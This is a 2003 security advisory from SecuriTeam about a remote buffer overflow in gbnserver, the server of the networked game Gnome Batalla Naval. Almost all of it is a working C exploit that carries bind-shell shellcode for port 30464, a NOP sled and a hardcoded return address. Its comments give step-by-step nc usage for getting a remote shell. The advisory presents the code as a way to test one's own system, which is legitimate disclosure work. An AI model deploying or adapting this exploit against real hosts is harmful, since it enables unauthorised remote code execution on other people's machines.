[UNIX] Gnome Batalla Naval Remotely Exploitable Buffer Overflow (Exploit)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/25/03

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Date: 25 Jun 2003 14:05:42 +0200

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      Gnome Batalla Naval Remotely Exploitable Buffer Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

     <http://batnav.sourceforge.net/> Batalla Naval is a networked BattleShip
    game. It supports multiple players and multiple robots at the same time. A
    remotely exploitable buffer overflow in the game allows remote attackers
    to cause the product to execute arbitrary code. The following exploit code
    can be used to test your system for the mentioned vulnerability.

    DETAILS

    Exploit:
    /*
    *by jsk for gbnserver remote exploit demo
    *sorry for my poor english
    *test in redhat 8.0
    * example:(./gbnex;cat )|nc 127.0.0.1 1995
    * ctrol c
    * ./nc 127.0.0.1 30464
    * id
    * uid=508(sa2) gid=508(sa2) groups=508(sa2)
    *2003-6-2
    *gbatnav-1.0.4 (<=)
    *problem in strcpy(dst, src) src buffer 5000, dst buffer 500,so Remote
    Buffer Over
    * ret is very hard to find ths warning3 from nsfocus Security Team.
    * www.ph4nt0m.org&email: jsk@ph4nt0m.net
    *I am from Ph4nt0m Security Team
    *ths warning3
    */
    #include <stdlib.h>
    #include <unistd.h>

    #define NOP 0x90
    #define OFFSET 100
    #define bufsize 584

    char shellcode[] =

    "\x31\xc0" /* xorl %eax,%eax */
    "\xb0\x02" /* movb $0x2,%al */
    "\xcd\x80" /* int $0x80 */
    "\x85\xc0" /* testl %eax,%eax */
    "\x75\x43" /* jne 0x43 */
    "\xeb\x43" /* jmp 0x43 */
    "\x5e" /* popl %esi */
    "\x31\xc0" /* xorl %eax,%eax */
    "\x31\xdb" /* xorl %ebx,%ebx */
    "\x89\xf1" /* movl %esi,%ecx */
    "\xb0\x02" /* movb $0x2,%al */
    "\x89\x06" /* movl %eax,(%esi) */
    "\xb0\x01" /* movb $0x1,%al */
    "\x89\x46\x04" /* movl %eax,0x4(%esi) */
    "\xb0\x06" /* movb $0x6,%al */
    "\x89\x46\x08" /* movl %eax,0x8(%esi) */
    "\xb0\x66" /* movb $0x66,%al */
    "\xb3\x01" /* movb $0x1,%bl */
    "\xcd\x80" /* int $0x80 */
    "\x89\x06" /* movl %eax,(%esi) */
    "\xb0\x02" /* movb $0x2,%al */
    "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
    "\xb0\x77" /* movb $0x77,%al */
    "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
    "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
    "\x89\x46\x04" /* movl %eax,0x4(%esi) */
    "\x31\xc0" /* xorl %eax,%eax */
    "\x89\x46\x10" /* movl %eax,0x10(%esi) */
    "\xb0\x10" /* movb $0x10,%al */
    "\x89\x46\x08" /* movl %eax,0x8(%esi) */
    "\xb0\x66" /* movb $0x66,%al */
    "\xb3\x02" /* movb $0x2,%bl */
    "\xcd\x80" /* int $0x80 */
    "\xeb\x04" /* jmp 0x4 */
    "\xeb\x55" /* jmp 0x55 */
    "\xeb\x5b" /* jmp 0x5b */
    "\xb0\x01" /* movb $0x1,%al */
    "\x89\x46\x04" /* movl %eax,0x4(%esi) */
    "\xb0\x66" /* movb $0x66,%al */
    "\xb3\x04" /* movb $0x4,%bl */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax,%eax */
    "\x89\x46\x04" /* movl %eax,0x4(%esi) */
    "\x89\x46\x08" /* movl %eax,0x8(%esi) */
    "\xb0\x66" /* movb $0x66,%al */
    "\xb3\x05" /* movb $0x5,%bl */
    "\xcd\x80" /* int $0x80 */
    "\x88\xc3" /* movb %al,%bl */
    "\xb0\x3f" /* movb $0x3f,%al */
    "\x31\xc9" /* xorl %ecx,%ecx */
    "\xcd\x80" /* int $0x80 */
    "\xb0\x3f" /* movb $0x3f,%al */
    "\xb1\x01" /* movb $0x1,%cl */
    "\xcd\x80" /* int $0x80 */
    "\xb0\x3f" /* movb $0x3f,%al */
    "\xb1\x02" /* movb $0x2,%cl */
    "\xcd\x80" /* int $0x80 */
    "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
    "\x89\x06" /* movl %eax,(%esi) */
    "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
    "\x89\x46\x04" /* movl %eax,0x4(%esi) */
    "\x31\xc0" /* xorl %eax,%eax */
    "\x88\x46\x07" /* movb %al,0x7(%esi) */
    "\x89\x76\x08" /* movl %esi,0x8(%esi) */
    "\x89\x46\x0c" /* movl %eax,0xc(%esi) */
    "\xb0\x0b" /* movb $0xb,%al */
    "\x89\xf3" /* movl %esi,%ebx */
    "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
    "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
    "\xcd\x80" /* int $0x80 */
    "\x31\xc0" /* xorl %eax,%eax */
    "\xb0\x01" /* movb $0x1,%al */
    "\x31\xdb" /* xorl %ebx,%ebx */
    "\xcd\x80" /* int $0x80 */
    "\xe8\x5b\xff\xff\xff";

    int main()

    {
    long offset = 0;
    int ret;
    u_char buf[bufsize];

    memset(buf, NOP, bufsize);
    memcpy(&buf[bufsize-(strlen(shellcode)+21*sizeof(ret))],shellcode,strlen(shellcode));

    ret = 0xbfffde8c;

    memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(2*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(3*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(4*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(5*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(6*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(7*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(8*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(9*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(10*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(11*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(12*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(13*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(14*sizeof(ret))], &ret, sizeof(ret))
    memcpy(&buf[bufsize-(15*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(16*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(17*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(18*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(19*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(20*sizeof(ret))], &ret, sizeof(ret));
    memcpy(&buf[bufsize-(21*sizeof(ret))], &ret, sizeof(ret));

    printf("%s\n",buf);

    }

    ADDITIONAL INFORMATION

    The vulnerability has been found by <mailto:wsxz@terra.com.br> wsxz, the
    exploit code has been provided by <mailto:jsk@ph4nt0m.net> jsk.

    ========================================

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